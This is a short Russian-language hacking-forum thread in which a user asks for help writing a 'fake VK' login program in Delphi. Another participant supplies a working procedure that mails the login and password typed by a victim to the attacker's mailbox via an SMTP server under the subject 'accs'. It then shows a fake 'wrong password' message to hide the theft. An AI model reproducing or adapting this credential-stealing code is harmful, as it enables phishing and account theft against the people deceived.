Фейк на delphi

[MUNY]

Народ помогите что тут прописывать?
Хочу написать фейк ВК


idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться (как понять от кого и с которого будет отправлятся?)


idPOP31.username:='login@mail.ru'; //Логин (чей логин писать?)

idSmtp1.Password:='xxxxxxx'; //Пароль (чей писать пароль?)

[stepashka_]

idPOP31.username:='login@mail.ru'; //Логин (чей логин писать?)
Пиши мыло своё
idSmtp1.Password:='xxxxxxx'; //Пароль (чей писать пароль?)
Пиши пароль от мыла
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться (как понять от кого и с которого будет отправлятся?)
Пиши то мыло которое ввел в idPOP31.username:='login@mail.ru';

А лучше сделай так

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин мыла';
IdSMTP1.Password:='пасс мыла';
IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
IdMessage1.From.Text:='логин_своего_м� �ла@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='мыло_к уда_слать_акки@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;

procedure TForm1.IdSMTP1Connected(Sender: TObject);
begin
showmessage('Не верный пасс')
end;

[MUNY]

пишет
Socket error
connection refused